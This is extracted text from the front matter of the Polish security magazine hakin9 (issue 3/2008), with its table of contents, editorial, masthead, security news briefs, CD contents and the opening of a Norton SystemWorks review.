plik

www.hakin9.org

hakin9 Nr 3/2008

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Mateusz Stępień

Przedstawiamy najciekawsze wiadomości ze świata

bezpieczeństwa systemów informatycznych i nie tylko.

Zawartość CD

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Norton SystemWorksTM

Basic Edition

Outpost Firewall Pro 4.0

Początki

Routing cebulowy

Maciej Szmit

Czy można anonimowo surfować po Internecie i kie-

dy ta anonimowość jest zagrożona?

Atak

Hakowanie Visty

Konrad Zuwała

Czy Windows Vista rzeczywiście jest tak bezpiecz-

nym systemem, jak zapowiadali producenci z firmy

Microsoft?

Podsłuch elektromagnetyczny

Grzegorz Błoński

W ostatnich miesiącach bardzo modnym tematem jest

podsłuchiwanie. Nie można zapominać, że podsłuchać

można nie tylko człowieka, ale także komputer i to, co

w nim najcenniejsze dla właściciela – jego dane.

Format BMP okiem hakera

Michał Składnikiewicz

Autor pokazuje, że format BMP, mimo swojej pozor-

nej prostoty, jest najeżony pułapkami oraz zawiera

wiele miejsc, w których można ukryć dodatkowe dane

bez wpływania na wyświetlaną bitmapę.

Atak na wirtualną klawiaturę

Sławomir Orłowski, Maciej Pakulski

Podstawowym celem tego artykułu jest pokazanie,

jak prosto ominąć zabezpieczenie, jakim jest wirtu-

alna klawiatura.

Witam!

rodzy Czytelnicy, niezmiernie się cieszę, że mogę

Państwa po raz kolejny przywitać i zachęcić do lek-

tury naszego magazynu. To już trzeci numer w tym

roku. Przed nami jeszcze osiem numerów, które zapewne

będą bardzo interesujące. Osiem, ponieważ w okresie waka-

cyjnym planujemy połączyć dwa pisma.

Ale do wakacji jeszcze kilka miesięcy, na razie cieszmy

się wiosną, która jest tuż tuż. Miejmy nadzieję, że po śnie

zimowym nie obudzą się robaki i wirusy, jednak jeżeli tak się

stanie, mamy dla Państwa wiele porad do walki z nimi.

W tym numerze ponownie prezentujemy najciekawsze

artykuły na rynku, najskuteczniejsze programy oraz specjal-

nie przygotowane filmy instruktażowe!

Szczególnie zachęcam do tematu numeru, jakim w tym

miesiącu jest artykuł Hakowanie Visty. Przekonalilśmy się

już, że Vista, którą Microsoft zapowiadał jako całkowitą

rewolucję w bezpieczeństwie systemów operacyjnych, nie

do końca temu opisowi odpowiada. O tym właśnie traktuje

artykuł Konrada Zuwały.

Kolejną ciekawą propozycją jest tekst Grzegorza Błoń-

skiego Podsłuch elektromagnetyczny, w którym Autor zaj-

muje się zjawiskiem ulotu elektromagnetycznego i możliwo-

ścią wykorzystania go do kradzieży danych z komputera.

Gorąco polecam lekturę!

Robert Gontarski

www.hakin9.org

hakin9 Nr 3/2008

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Architektura CCA,

czyli GRID prosto i przyjemnie

Rafał Podsiadły

Jak funkcjonują systemy rozproszone i do czego są

wykorzystywane, dowiesz się czytając tekst Rafała

Podsiadłego.

Informatyka śledcza

jako element reakcji na incydenty

Przemysław Krejza

Co to jest EnCase Enterprise? Na czym polega informa-

tyka śledcza? Do czego służy dowód elektroniczny?

Entropia – pomiar i zastosowanie

Michał Składnikiewicz

Tekst przedstawia zagadnienia związane z entropią,

rozumianą jako wielkość losowości pewnych danych.

Bezpieczeństwo w Javie

Piotr Łaskawiec

Autor opisuje specjalistyczną platformę programisty-

czną – Java Enterprise Edition.

Bezpieczeństwo teleinformatyczne

danych osobowych

Andrzej Guzik

Czy systemy informatyczne przetwarzające dane oso-

bowe spełniają wymagania bezpieczeństwa i uwzględ-

niają przepisy prawne? Odpowiada Andrzej Guzik.

Księgozbiór

Recenzujemy książki Cisco PIX. Firewalle oraz Win-

dows Server 2003. Bezpieczeństwo sieci.

Wywiad

Wywiad z Eugenem Kasperskim

Katarzyna Juszczyńska i Robert Gontarski rozma-

wiają z ekspertem bezpieczeństwa informacji.

Felieton

Założenia komunikacji

Patryk Krawaczyński

Zapowiedzi

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu magazynu hakin9.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy: Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Asystentka redakcji: Barbara Czułada

barbara.czulada@software.com.pl

Wyróżnieni betatesterzy: Łukasz Witczak, Marcin Kulawinek

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

DTP Manager: Robert Zadrożny robert.zadrozny@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

Mateusz Stępień

www.hakin9.org

hakin9 Nr 3/2008

Atak na amerykańskie

centrum badawcze

Laboratorium badawcze Oak

Ridge National Laboratory

(ORNL) w Tennessee oraz Los

Alamos National Laboratory

w Nowym Meksyku padło ofiarą

ataku crackera. Według przed-

stawiciela placówki w Oak Ridge

– włamywacz uzyskał dostęp

tylko do bazy danych zawierają-

cej informacje personalne osób

odwiedzających laboratorium od

1990 do 2004 roku, jednak nie

wszedł w posiadanie żadnych taj-

nych danych. Atak był poprze-

dzony falą wiadomości e-mail

zawierających załączniki ze zło-

śliwym oprogramowaniem. Po

otwarciu takiego listu uruchamia-

ły się konie trojańskie. Złodzie-

je dokonali około 1100 prób połą-

czeń w celu kradzieży danych.

Do ataku wykorzystano siedem

różnych listów elektronicznych

wysłanych do naszych pracowni-

ków. Każdy z nich zawierał złośli-

wy kod – powiedział Thom Mason

szef laboratorium.

Francja odetnie piratów

Już wkrótce francuscy internau-

ci przyłapani na nielegalnym udo-

stępnianiu filmów i muzyki będą

musieli liczyć się z możliwością

odcięcia im dostępu do Internetu.

Będzie to możliwe dzięki porozu-

mieniu, do którego doszło pomię-

dzy francuskim rządem, prze-

mysłem rozrywkowym a ISP.

Główne zadanie będzie należa-

ło do ISP, który będzie odpowie-

dzialny za monitorowanie poczy-

nań swoich użytkowników. W przy-

padku wykrycia internauty, który

w sposób bardzo nadgorliwy pała

chęcią dzielenia się różnymi zaso-

bami chronionymi prawem autor-

skim, w jego stronę zostanie

wystosowane specjalne ostrzeże-

nie. Jeśli ostrzeżeni użytkownicy

kontynuować będą nielegalne dzia-

łania, zostaną czasowo lub perma-

nentnie odłączeni od Internetu.

Norton SystemWorks 2008 już dostępny

irma Symantec (światowy lider
w dziedzinie ochrony informa-

cji) poinformowała o wydaniu nowej
wersji pakietu Norton SystemWorks
2008, służącego do ochrony i opty-
malizacji komputera.

Norton SystemWorks zawiera

szereg przydanych narzędzi, m. in.:
Norton AntiVirus, który chroni kom-
puter  przed  wirusami  i  oprogra-
mowaniem  szpiegującym;  Norton
Ghost – narzędzie pomocne w szyb-
kiej i bezpiecznej aktualizacji, archi-
wizacji  oraz  odtwarzaniu  systemu;
Norton Utilities, One-Button Chec-
kup,  Process  Viewer,  Optimizer
i  CheckIt  Diagnostics  –  narzędzia
służące m. in. do diagnostyki dysku
twardego, optymalizacji pracy kom-
putera,  rozwiązywania  typowych
problemów  czy  usuwania  plików
tymczasowych; Web Tools – grupa
nowych  narzędzi,  przeznaczo-
nych  m.  in.  do  zarządzania  plika-
mi cookie oraz utrzymywania połą-
czeń modemowych w czasie pracy
z Internetem.

Główne nowości wersji 2008 to

kompatybilność  z  systemem  Win-
dows  Vista,  a  także  zaimplemen-
towana  w  programie  Norton  Anti-
Virus  nowa  technologia  SONAR,
która  pozwala  na  natychmiastowe
wykrywanie  zagrożeń  w  oparciu
o  analizę  zachowań  uruchamiane-
go kodu. W nowym Norton System-
Works  2008  znajdziemy  również
program  Norton  Save  &  Resto-
re  –  oparte  o  rozwiązania  Norton
Ghost narzędzie służące do łatwe-
go  tworzenia  kopii  zapasowych

oraz szybkiego odtwarzania syste-
mu po awarii.

Oprogramowanie zostało wydane

w trzech edycjach: Basic, Standard
oraz Premier. Ceny pakietów na rynku
amerykańskim zostały ustalone na
poziomie 49,99 USD za edycję Basic,
69,99 USD za edycję Standard oraz
99,99 USD za edycję Premier.

Firma Symantec, założona w ro-

ku  1982,  jest  światowym  liderem
oferującym oprogramowanie, urzą-
dzenia  i  usługi,  które  pomagają
odbiorcom  indywidualnym,  małym
i średnim firmom oraz dużym przed-
siębiorstwom  w  zapewnieniu  bez-
pieczeństwa,  dostępności  i  inte-
gralności  informacji.  Główna  sie-
dziba firmy znajduje się w Cuperti-
no w amerykańskim stanie Kalifor-
nia, a oddziały całym świecie.

Rysunek 1.

Norton SystemWorks

2008 już dostępny

Dwie aktualizacje

bezpieczeństwa od Novella

merykańska firma Novell, specja-
lizująca się w sieciowych syste-

mach operacyjnych, takich jak NetWa-
re i Linux, wydała aktualizacje bezpie-
czeństwa dla dwóch swoich produktów.
Jedna z nich zamyka lukę w kliencie
Novell NetMail, która pozwala przejąć
kontrolę nad systemem. Druga aktuali-
zacja eliminuje trzy zagrożenia w pro-
gramie Novell BorderManager 3.8.

Rysunek 2.

Instalacja Novell

BorderManager 3.8

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

Mateusz Stępień

www.hakin9.org

hakin9 Nr 3/2008

Niezwykła

zguba brytyjskiego

Urzędu Skarbowego

Angielski minister finansów Ali-

stair Darling oświadczył, że

z urzędu podatkowego admini-

strującego zasiłkiem wychowaw-

czym na dzieci zginęły dwa kom-

puterowe dyski z danymi oso-

bowymi 25 milionów ludzi – 7

milionów rodzin uprawnionych

do jego otrzymywania. Zasił-

ki, w wysokości 18 funtów tygo-

dniowo na pierwsze dziec-

ko i 12 na każde następne, są

w Wielkiej Brytanii przyznawa-

ne wszystkim rodzicom i prawie

wszyscy je pobierają. Na zagi-

nionych dyskach znajdowa-

ły się między innymi informa-

cje o adresach osób, daty uro-

dzin dzieci, numery ubezpie-

czeń oraz numery kont banko-

wych, na które trafiają zasiłki. To

rzeczywiście bardzo, bardzo zła

sytuacja. Jestem w stanie zrozu-

mieć obawy ludzi i złość, że to

się zdarzyło. To nigdy nie powin-

no się było stać i szczerze za to

przepraszam – powiedział Ali-

stair Darling dla telewizji GMTV.

Darling wyjaśnił, że dyski zostały

przesłane z urzędu podatkowe-

go (HMRC) do krajowego audy-

tora (NAO) za pośrednictwem

firmy kurierskiej TNT, jednak

koperta nie została oznaczona

jako polecona bądź wartościowa

i – jak się okazało – nie dotarła

do odbiorcy. Minister zastrzegł,

iż nie ma powodów do paniki,

ponieważ dyski są zabezpieczo-

ne podwójnym systemem haseł,

a policja nie sygnalizowała mu,

że mogły wpaść w niepowoła-

ne ręce. W odnalezienie dysków

i ochronę danych zaangażo-

wano Scotland Yard i specjali-

stów od ochrony danych osobo-

wych. Poza głównym dochodze-

niem policyjnym prowadzonych

jest jeszcze pięć pobocznych.

Rząd obciąża odpowiedzialno-

ścią niskiego rangą pracownika

HMRC. Do dymisji podał się szef

urzędu podatkowego Paul Gray.

Mozilla Firefox 3.0 beta1

kazała się pierwsza oficjal-
na wersja beta przeglądarki

internetowej  Mozilla  Firefox  3.0.
Nowy Ognisty Lis korzysta z silni-
ka Gecko 1.9, zawiera usprawnie-
nia z zakresu bezpieczeństwa oraz
wydajności i stabilności. Poprzed-
nie testowe wydanie wersji 3 – tzw.
alfa  –  dostępne  było  jedynie  dla
wybranych testerów. Przejście z fa-
zy alfa do beta oznacza zwykle, że
osiągnęliśmy już ten poziom jako-
ści  i  niezawodności  przeglądarki,
iż  może  być  ona  wykorzystywana
przez  zainteresowanych  użytkow-
ników do codziennej pracy. Jest to
dla  nas  także  kolejny  ważny  krok
w  kierunku  premiery  finalnego
wydania 3 – tłumaczy Mike Schro-
epfer z Mozilli.

W Firefox 3.0 beta znajdziemy

m.  in.  nowy  moduł  do  zarządza-
nia adresami często odwiedzanych
stron,  nowy  menedżer  pobierania
(udostępniono  możliwość  wzno-
wienia  pobierania  plików)  oraz
kilka  nowych  funkcji  podnoszą-
cych  bezpieczeństwo,  np.:  pod-
gląd informacji o stronie po kliknię-
ciu na favicon, integracja z progra-
mami  antywirusowymi,  integracja
z  narzędziami  kontroli  rodziciel-
skiej  w  Windows  Vista  oraz  auto-
matyczne  sprawdzanie  wersji  do-
datków  i  rozszerzeń.  Przedstawi-

ciele  Mozilli  podkreślają  jednak,
że zdecydowana większość mody-
fikacji  nie  będzie  bezpośred-
nio  widoczna  dla  użytkowników
–  zmiany  będą  jednak  dla  nich
odczuwalne.  Najwięcej  zmieni  się
'pod  maską'.  Wdrożyliśmy  nowe
procedury sprawdzania kodu, które
mają zagwarantować, że będzie on
odpowiednio  bezpieczny.  Bardzo
wierzę w to rozwiązanie – uważam,
że żadne narzędzia zabezpieczają-
ce  nie  zapewnią  bezpieczeństwa,
jeśli  kod  nie  będzie  odpowiednio
bezpieczny.

Przypomnijmy, iż wedle wcze-

śniejszych deklaracji twórców Fire-
foksa, wersja beta 1 miała pojawić
się  pod  koniec  lipca.  We  wrze-
śniu  miała  być  udostępniona  beta
2,  zaś  w  grudniu  –  finalny  Firefox
3.  Jeśli  wszystko  pójdzie  dobrze,
to  jeszcze  w  tym  roku  pojawi  się
druga beta. Finalna wersja pojawi
się w 2008 roku.

Firefox 3 beta 1 dostępny jest

m. in. w wersjach dla Linuksa, Mac
OS X oraz Windows. Program jest
spolonizowany  –  można  go  zna-
leźć na stronie Mozilli. Przedstawi-
ciele Mozilli podkreślają, że wersja
ta  jest  przeznaczona  jedynie  do
celów  testowych  i  nie  jest  reko-
mendowana  dla  zwykłych  użyt-
kowników.

Windows XP lepszy od Visty?

ajnowsze testy wykazały, że
Windows XP korzystający

z  wersji  beta  Service  Pack  3  ma
dwa  razy  lepsze  osiągnięcia  niż
Windows Vista działający z – długo
oczekiwaną  –  wersją  beta  Service
Pack 1.

Wydanie pierwszego Servi-

ce  Pack'a  dla  Visty  jest  planowa-
ne  na  początek  przyszłego  roku
i ma on zwiększyć wydajność tegoż
systemu.  Aczkolwiek,  gdy  wersja
wersja  beta  SP1  dla  Visty  została
poddana  testom  benchmarkowym
przez firmę Devil Mountain Softwa-
re,  poprawa  nie  była  oszałamiają-
ca.  Dla  porównania  Windows  XP

zakończył test w 35 sekund, a Vista
uporała się z nim po 80-ciu sekun-
dach.  Warto  także  odnotować,  że
wydajność XP z SP3-beta wzrosła
o 10%, natomiast Vista z SP1-beta
poprawiła  się  jedynie  o  2%.  Test
przeprowadzony  został  na  maszy-
nie  Dell  XPS  M1710  z  procesorem
Core  2  Duo  2GHz  i  1GB  pamię-
ci RAM.

Microsoft krótko skomentował

uzyskane wyniki, twierdząc, że są
to wersje beta, nad którymi wciąż
trwają prace, a firma zawsze stara
się dostarczyć Service Pack'i speł-
niające oczekiwania klientów i koń-
cowy produkt będzie dużo lepszy.

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

Mateusz Stępień

www.hakin9.org

hakin9 Nr 3/2008

Gracz domaga się

5 milionów odszkodowania

od Microsoft

Jeden z mieszkańców Kalifor-

ni, który lubi pograć w grę Halo,

pozwał do sądu Microsoft oraz

firmę Bungie – producenta tytułu.

Wszystko dlatego, że program

nie działał prawidłowo. Klienci,

którzy posiadają wadliwy nośnik,

mogą go zwrócić lub wymienić

na nowy. Jednak Randy Nunez

postanowił poszukać innego roz-

wiązania i złożył w sądzie pozew

zbiorowy przeciwko Microsoft

i Bungie, żądając 5.000.000

dolarów odszkodowania. W

pozwie Nunez informuje, że pod-

czas grania w Halo 3 Xbox 360

zawiesza się i przestaje działać.

Microsoft w ubiegłym miesiącu

informował, że taki błąd się poja-

wia, jednak przedstawiciele firmy

nie chcieli podać do wiadomości,

co powoduje jego występowanie.

Luka w module Net::HTTPS

Firma iSEC, zajmująca się bez-

pieczeństwem systemów i apli-

kacji, ujawniła błąd występują-

cy w module Net::HTTPS, który

jest częścią języka skryptowe-

go RUBY. Aplikacja, która wyko-

rzystuje ten moduł może być

podatna na atak typu man-in-

the-middle. Moduł sprawdza

– między innymi – czy certyfi-

kat serwera jest poprawny, ale

nie porównuje wartości pola CN

(ang. common name) z faktycz-

ną nazwą generowanej strony.

Haker może więc użyć dowol-

nego, prawidłowego certyfika-

tu wystawionego przez publicz-

ny CA do infiltracji połączenia

za pomocą metody MITM. Naj-

wyraźniej problem jest spo-

wodowany błędem w funkcji

post_connection_check

, która

jest wywoływana po wynegocjo-

waniu połączenia SSL i znajdu-

je się w pliku http.rb. Bug wystę-

puje w wersjach 1.8.x modu-

łów oraz w wersjach develo-

perskich oznaczonych jako 1.9.

Podniesienie modułów do wersji

1.8.6-p111 lub 1.8.5-p114 elimi-

nuje buga. Oficjalne informacje

na stronach ruby-lang.org suge-

rują, aby ustawić wartość opcji

http.enable_post_connection_
check

na true.

Rysunek 4.

Nowy model FVS336G

NETGEAR ProSafe

VPN Firewall – FVS336G

merykańska firma Netge-
ar, zaliczana do czołówki

największych  na  świecie  produ-
centów  urządzeń  sieciowych  za-
prezentowała  wszechstronną  za-
porę  zapewniającą  bezpieczeń-
stwo sieci oraz zdalny i niezawod-
ny  dostęp  do  Internetu  –  NETGE-
AR ProSafe VPN Firewall.

Nowy model FVS336G wypo-

sażono  w  zintegrowany,  czter-
portowy  przełącznik  10/100/1000
Mb/s  umożliwiający  szybką  pracę
sieci  i  zarządzanie  przez  SNMP,
dwa  porty  Gigabit  WAN  obsługu-
jące podwójne połączenia szeroko-
pasmowe  z  funkcją  równoważenia
obciążenia  i  przejmowania  ruchu
w  przypadku  awarii,  zaawansowa-
ny  Firewall  SPI  i  Multi-NAT,  ekran
konfiguracyjny  ProSafe  Control
Center  i  asystenta  ułatwiającego
konfigurację.

Zapora jest kompatybilna z sys-

temami  operacyjnymi  Windows,
UNIX,  Macintosh  i  Linux  i  można
nią  zarządzać  poprzez  protokół
SNMP.

Nowa zapora Prosafe Dual WAN

Gigabit SSL VPN Firewall to ideal-
ny produkt dla małych i średnich
przedsiębiorstw

poszukujących

rozwiązania sieciowego zapewnia-
jącego wysoką wydajność, solidne
zabezpieczenia i łatwy, bezpieczny
dostęp dla użytkowników zdalnych
oraz  połączeń  sieciowych  pomię-
dzy  lokalizacjami,  wyjaśnia  Woj-
ciech  Karwowski,  country  mana-
ger  NETGEAR  Poland.  Wszech-

stronna zapora daje zdalnym użyt-
kownikom  dostęp  do  danych  kor-
poracyjnych  bez  użycia  oprogra-
mowania  klienckiego,  za  pomocą
standardowej  przeglądarki  inter-
netowej, a tunele VPN IPsec mogą
jednocześnie  otwierać  bezpieczne
połączenia  pomiędzy  lokalizacja-
mi, z obsługą starszych rozwiązań
klient-serwer.  Zintegrowany  czte-
roportowy  przełącznik  klasy  Giga-
bit  i  dwa  gigabitowe  porty  WAN
gwarantują  optymalna  wydajność
i niezawodność sieci. ProSafe Dual
WAN Gigabit SSL VPN Firewall to
jedna  z  najbardziej  wszechstron-
nych,  niezawodnych  i  bezpiecz-
nych  zapór  dla  małych  i  średnich
przedsiębiorstw.

Zapora NETGEAR ProSafe

Dual  WAN  Gigabit  SSL  VPN  Fire-
wall  (FVS336G)  oferowana  będzie
w  pierwszym  kwartale  2008  roku
z bezterminową gwarancją w skle-
pach  detalicznych,  internetowych
i  u  sprzedawców  VAR,  w  cenie
katalogowej 425 USD (+ VAT).

Rysunek 3.

Płyta instalacyjna

FVS336G

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

Mateusz Stępień

www.hakin9.org

hakin9 Nr 3/2008

Dziura w Gadu-Gadu

Mateusz Jurczyk (współpracują-

cy z Eleytt Research w zakresie

Responsible Disclosure Assuran-

ce oraz jako zewnętrzny badacz)

znalazł lukę w module parsowa-

nia pliku emots.txt w najnowszej

wersji popularnego komunikatora

Gadu-Gadu. Program nie spraw-

dza długości bufora przy pobie-

raniu z konfiguracji nazwy pliku

zawierającego ikony. W związ-

ku z tym wydaje się, że atak jest

ograniczony do sytuacji, w której

komuś uda się nadpisać plik kon-

figuracyjny Gadu-Gadu na koncie

danego użytkownika.

Niebezpieczny VoIP

Peter Cox, specjalista od VoIP

pracujący w kanadyjskiej firmie

BorderWare, zaprezentował cie-

kawe oprogramowanie, pozwala-

jące na podsłuchiwanie rozmów

prowadzonych pomiędzy użyt-

kownikami VoIP. Oprogramowa-

nie o nazwie SIPtap może prze-

chwytywać informacje SIP oraz

monitorować strumienie pakie-

tów VoIP i zapisywać je jako pliki

*.wav w celu późniejszej anali-

zy w oddalonej lokalizacji. Wcze-

śniej trzeba się włamać do kom-

putera pracującego w wytypowa-

nej sieci i zainstalować na nim

konia trojańskiego z programem

SIPtap, który można również

instalować w sieci eksploatowa-

nej przez dostawcę usług inter-

netowych.

Top 10 najbardziej oryginalnych

przypadków utraty danych w 2007

ntrack, jedna z bardziej zna-
nych firm zajmujących się

odzyskiwaniem  danych  opubliko-
wała  swój  ogólnoświatowy  i  krajo-
wy  ranking  najbardziej  nietypowych
przypadków utraty danych:

• Halo? Wyprałam dane – W tym

roku do Kroll Ontrack zadzwoni-
ła  kobieta  twierdząc,  że  wypra-
ła  wszystkie  swoje  dane.  Jej
pamięć  USB  trafiła  do  pralki,
a usunięcie danych zajęło pralce
cały cykl z płukaniem.

• Córeczka tatusia – Pewien tata

po  pracy  spieszył  się  do  domu,
gdzie  czekała  na  niego  córecz-
ka.  Wychodząc  z  pracy  wrzucił
pamięć  przenośną  do  przedniej
kieszeni koszuli. Jakiś czas póź-
niej,  karmiąc  córkę  nachylił  się,
a  pamięć  z  kieszeni  wylądowa-
ła  w  ciepłym,  apetycznym,  ale
dość  rzadkim  i  klejącym  jabłko-
wym puree.

• Uwaga branie! – Wędkarz wyjeż-

dżając na ryby postanowił wziąć
ze  sobą  laptop.  Przerwy  pomię-
dzy braniami chciał wykorzystać
na grę na komputerze. Kiedy tak
spędzał  czas  siedząc  w  łódce
na  środku  jeziora,  ryba  złapała
haczyk. Wędkarz wstał, zachwiał
się  i  po  chwili  on  i  laptop  byli
w jeziorze.

• Chłodząca coca-cola – Podczas

tegorocznego lata jeden z pol-
skich użytkowników komputerów
pracował na swoim laptopie popi-
jając orzeźwiający napój. Chwila
nieuwagi i zawartość dużej
szklanki zalała klawiaturę i wnę-
trze komputera.

• Badań naukowych czar – Nauko-

wiec  wylał  kwas  na  zewnętrzny
dysk twardy. Kwas wypalił znacz-
ną część nośnika. Przekonany, że
zawartość dysku została spalona
pracownik  naukowy  skontakto-
wał  się  z  ekspertami  odzyskiwa-
nia danych. Dane odzyskano.

• Szwedzkie wodowanie – W trak-

cie przeładunku statku płynące-
go ze Szwecji jeden z kontene-

rów wpadł do morza i został czę-
ściowo zalany. Znajdowała się
w nim m.in. macierz zawierająca
ponad 100 dysków twardych.

• Spalony na węgiel – Po poża-

rze  jednego  z  mieszkań  stra-
żacy  odnaleźli  zwęglony  aparat
fotograficzny.  Właściciele  zlecili
odzyskanie  zdjęć  ze  spalonego
urządzenia. To jedyne, co udało
się uratować po pożarze.

• Prośba o ciszę – Brytyjski nauko-

wiec miał dość pisku, jaki wyda-
wał  jego  dysk  twardy.  Postano-
wił  naoliwić  urządzenie.  Żeby
rozwiązać  problem  wywiercił
w nośniku dziurę i wlał do środka
olej. Dysk przestał piszczeć i pra-
cować.

• Zawiódł spadochron – Producent

spadochronów postanowił nagrać
na  wideo  testy  nowego  modelu.
W  tym  celu  do  obciążenia  spa-
dochronu wyrzuconego z samo-
lotu dołączono kamerę. Niestety,
ładunek wraz z kamerą rozbił się
o ziemię i rozpadł na wiele kawał-
ków.  Ekspertom  udało  się  odzy-
skać nagranie.

• Inwazja mrówek – Kiedy foto-

graf z Tajlandii odkrył, że w jego
zewnętrznym  dysku  twardym
zadomowiły  się  mrówki,  zdjął
jego  obudowę  i  spryskał  środek
urządzenia preparatem na insek-
ty. Mrówki nie przetrwały i dopóki
inżynierowie  Kroll  Ontrack  nie
zajęli  się  problemem,  wyglądało
na to, że dane też nie.

Jesteśmy  coraz  bardziej  zaskoczeni
okolicznościami  utraty  danych,  jakie
towarzyszą  przypadkom  trafiającym
do  naszych  laboratoriów.  Cały  czas
pracujemy  nad  narzędziami,  które
z  powodzeniem  mogą  radzić  sobie
z coraz większymi wyzwaniami, jakie
bezsprzecznie  stanowią  te  przypad-
ki. Często odzyskujemy dane w spra-
wach, w których ich właściciele straci-
li wiarę w powodzenie. Dlatego czer-
piemy z naszej pracy wielką satysfak-
cję – mówi Paweł Odor, główny spe-
cjalista Kroll Ontrack w Polsce.

hakin9.live

hakin9 Nr 3/2008

www.hakin9.org

a  dołączonej  do  pisma  płycie  znajduje  się  ha-
kin9.live  (h9l)  w  wersji  4.0.3  on  BackTrack2.0,
zawierająca  przydatne  narzędzia,  dokumenta-

cję, tutoriale i materiały dodatkowe do artykłów. Aby za-
cząć pracę z hakin9.live, wystarczy uruchomić kompu-
ter z CD. Po uruchomieniu systemu możemy zalogować
sie jako użytkownik hakin9 bez podawania hasła. Pro-
gramy:

•   Titan Backup,
•   VirusBlokAda,
•   SecureDNA.

Filmy instruktażowe:

• Atak SQL Injection – wykrywanie struktury bazy da-

nych,

• Blind SQL Injection - odgadywanie haseł po znaku.

Titan Backup

Titan Backup jest świetnym rozwiązaniem do tworze-
nia kopii zapasowych. Jest bezpieczne, zautomatyzo-
wane i łatwe w użyciu przy tworzeniu kopii Twoich waż-
nych plików oraz dokumentów, poczty, reguł, rejestru,
ustawień.

Pozwala tworzyć i przewracać kopie zapasowych

ważnych danych zapisanych na dysku lokalnym, czy
nośnikach wymiennych jak płyty CD/DVD, pendrive,
dyski zewnętrzne, dyski sieciowe, zdalne serwery FTP.
Używa 256-bitowego silnego szyfrowania AES, co za-
pewni pełna ochronę poufnych danych.

VirusBlokAda

Linia produktów VirusBlokAdy bazuje na antywirusowym
silniku rozwijanym przez świetnych specjalistów. Vba32

Zawartość CD

Personal polecane jest domowym użytkownikom. Jest
bardzo dobrym i szybkim narzędziem do wykrycia i zneu-
tralizowania wirusów komputerowych, robaków e-mailo-
wych, koni trojańskich, malware, backdoorów, adware,
spyware itp.

Co więcej, VirusBlokAda oferuje oprogramowa-

nie antywirusowe dla workstacji, serwerów plików,
serwerów mailowych opartych na MS Exchange, Lo-
tus Domino dla Windows/Linux i różnorodność filtrów
antywirusowych dla serwerów mailowych korzystają-
cych z Linux/FreeBDS. Techniki użyte w oprogramo-
waniu:

•   analiza heurystyczna,
•   MalwareScope,
•   automatyczny update modułów i bazy wirusów,
•   zintegrowana kontrola.

SecureDNA

Bildsoft SecureDNA pozwala na szyfrowanie plików, fol-
derów, nośników danych, emaili. Dostarcza ochrony na
wysokim poziomie. Najważniejsze funkcje:

•   szyfrowanie AES 256-bit,
•   szyfrowanie poczty,
•   ochrona pendrivów,
•   ochrona płyt,
•   menadżer,
•   kontrola jakości hasła,
•   ukrywanie danych w plikach audio i w obrazkach,
•   drag & drop.

Wymagania:

• .NET Framework 2.0.

Rysunek 1.

Operacje przetwarzania danych osobowych

Rysunek 2.

Zarządzanie ryzykiem

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona

mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

cd@software.com.pl

Narzędzia

hakin9 Nr 3/2008

www.hakin9.org

Oprogramowanie  firmy  Symantec  zawsze  cieszyło  się
dużym  uznaniem  wśród  użytkowników  komputerów.
Jednym  z  dostępnych  pakietów  jest  SystemWorksTM.
W  wersji  podstawowej  (Basic  Edition)  w  skład  pakie-
tu wchodzą: Norton UtilitiesTM, Norton GoBackTM, One
Button Checkup oraz System Optimizer.

Instalacja oprogramowania nie sprawia najmniejsze-

go  problemu  nawet  osobom  z  minimalną  wiedzą  kom-
puterową.  Przed  jej  rozpoczęciem  należy  się  jednak
upewnić,  czy  dysponujemy  odpowiednią  ilością  miejsca
na dysku twardym (Norton GoBackTM wymaga 10% wol-
nego  miejsca  na  dysku  na  historię  –  istnieje  możliwość
ręcznego skonfigurowania w trakcie instalacji). Poszcze-
